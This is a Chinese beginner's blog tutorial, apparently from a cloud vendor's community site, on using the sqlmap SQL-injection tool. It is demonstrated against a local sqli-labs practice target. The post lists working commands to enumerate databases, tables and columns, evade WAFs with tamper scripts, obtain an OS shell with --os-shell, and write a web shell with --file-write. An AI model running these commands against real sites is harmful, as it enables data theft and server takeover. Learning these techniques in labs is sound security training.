一篇博客带你从零基础学会使用sqlmap

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 一篇博客带你从零基础学会使用sqlmap

写在前面:


   说实话对sqlmap的使用我也是刚开始学,以前是在查询框或者hackbar或者直接在URL里面写SQL语句进行SQL注入,sqlmap大大简化了手工注入的操作和难度,我也是刚接触,但确实很好用,目前我所认知的一个大概的整体框架就是:


sqlmap -u "网站URL/?注入点=1" 后面再追加一些常用参数即可


不必记住每个参数,记一些常用的就行,知道这个sqlmap大概怎么个用法就好了,而且每次遇到的注入情况也不一样。


更加详细的手工注入流程(实战CTF例题讲解)可以参考我的另一篇博客http://t.csdn.cn/pccO8


sqlmap是用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器权限,包括获取数据库中存储的数据,访问操作系统文件,甚至可以通过外带数据连接的方式执行操作系统命令。


常用参数


sqlmap输入结果时会用到-v参数,,有7个等级,默认的等级是1,详细如下:

0:只显示Python的tracebacks信息,错误信息和关键信息。

1:显示普通信息【INFO】和警告信息【WARNING】。

2:同时显示调试信息【DEBUG】。

3:同时显示注入使用的攻击载荷。

4:同时显示HTTP请求。

5:同时显示HTTP响应头。

6:同时显示HTTP响应体。


   sqlmap中level等级分为1~5,默认情况下等级为1,检查Cookie时等级最少为2,检查User-Agent时等级最少为3,5级包含的Payload最多,会自动破解出Cookie、XFF等头部注入,对应它的速度也比较慢。

   sqlmap中risk等级分为0~3,默认情况下等级为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3时会增加or语句的SQL注入测试。

   sglmap支持以下5种不同的注入模式:基于布尔的盲注,即可以根据返回页面判断条件真假的注入:基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句判断时间延迟语句是否执行(页面返回时间是否增加);基于报错注入,即页面会返回错误信息,或者把注入语句的结果直接返回在页面中;联合查询注入,可以使用UNION情况下的注入;堆查询注入,可以同时执行多条语句执行时的注入。



在MySQL数据库中,它一般会用以下语句:

检测注入点:sqlmap -u "www.test.com/?id=1"

指定检测参数:sqlmap -u "www.test.com/?id=1&page=2" -p id

识别数据库类型:sqlmap -u "www.test.com/?id=1" -f

识别数据库版本:sqlmap -u "www.test.com/?id=1" -b


在此,我以sqllabs来演示部分语句:


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1"

检测过程中我们可能会遇到一些询问,直接选择Y即可

进行这样的一个检测后,sqlmap给出了很多payload,比如我们尝试下面这个

直接爆出了一串password

列出当前数据库:sqlmap -u "www.test.com/?id=1" --current-db

列出所有数据库:sqlmap -u "www.test.com/?id=1" --dbs

列出指定数据库的表:sqlmap -u "www.test.com/?id=1" -D test --tables

列出指定表的字段:sqlmap -u "www.test.com/?id=1" -D test -T user --columns

避开waf等设备:sqlmap -u "www.test.com/?id=1" --tamper xxx.py


(sqlmap自带的Python文件在tamper目录下)


同样,以sqllabs靶场中第一题为例:


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --dbs  

发现它有一个mysql数据库,我们尝试列出mysql这个数据库中的表

sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D mysql --tables


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" -D func -T user --columns

获取交互式shell:


sqlmap -u "www.test.com/?id=1"--os-shell


需要具备三个条件:


必须是数据库root权限;已经获取网站的路径;GPC设置为off。


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --os-shell


指定注入模式:

sqlmap -u "www.test.com/?id=1" --technique (B/E/U/S/T)

B:Boolean-based blind SQL injection(布尔型注入)。

E:Error-based SQL injection(报错型注入)。

U:UNION query SQL injection(可联合查询注入)。

S: Stacked queries SQL injection(可多语句查询注入)。

T: Time-based blind SQL injection(基于时间延迟注入)。


比如我们这里指定布尔型注入:


sqlmap -u "http://192.168.88.129:32769/Less-1/?id=1" --technique B  

补充:

file协议写shell:

sqlmap -u "www.test.com/?id=1" --file-write"本地文件" --file-dest "网站绝对路径+文件名"


在检测POST型注入的时候一般会将POST包放入一个txt文档里

检测注入点如下:

sqlmap -r tets.txt


Cookie型注入:

sqlmap -u "www.test.com/?id=1" --cookie "xxxxx"

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
Python Windows
sqlmap安装及简介
sqlmap安装及简介
414 0
|
1月前
|
SQL 关系型数据库 MySQL
sqlmap进阶使用
sqlmap进阶使用
|
5月前
|
SQL 安全 关系型数据库
sql数据库本地链接
在SQL数据库中,本地连接通常指的是在同一台计算机上运行的数据库客户端连接到该计算机上的数据库服务器。这种连接通常使用`localhost`或`127.0.0.1`(这是IPv4地址,代表本地回环地址
|
1月前
|
SQL 关系型数据库 MySQL
sqlmap从入门到精通-第一章-1.2
sqlmap从入门到精通-第一章-1.2
|
关系型数据库 MySQL PHP
sqlmap从入门到精通-第一章-1.3
sqlmap从入门到精通-第一章-1.3
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
372 0
|
SQL 安全 关系型数据库
某教程学习笔记(一):12、sqlmap使用介绍
某教程学习笔记(一):12、sqlmap使用介绍
292 0
某教程学习笔记(一):12、sqlmap使用介绍
|
信息无障碍 UED
Typecho博客程序
仅仅 7 张数据表,加上不足 400KB 的代码,就实现了完整的插件与模板机制。超低的 CPU 和内存使用率,足以发挥主机的最高性能。
134 0
Typecho博客程序
|
SQL Oracle 关系型数据库
sqlmap的使用
sqlmap的使用
158 0